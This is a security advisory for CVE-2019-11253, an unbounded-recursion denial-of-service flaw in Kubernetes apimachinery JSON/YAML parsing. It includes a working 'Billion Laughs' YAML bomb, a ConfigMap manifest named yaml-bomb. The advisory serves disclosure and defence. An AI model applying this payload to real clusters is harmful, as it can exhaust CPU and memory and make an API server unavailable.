Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing

Summary

CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable. When creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a "Billion Laughs" attack which is quite well known as an XML parsing issue. Applying this manifest to a cluster causes the client to hang for some time with considerable CPU usage. ```yaml apiVersion: v1 data: a: &a ["web","web","web","web","web","web","web","web","web"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] kind: ConfigMap metadata: name: yaml-bomb namespace: default ``` ### Specific Go Packages Affected - k8s.io/apimachinery/pkg/runtime/serializer/json - k8s.io/apimachinery/pkg/util/json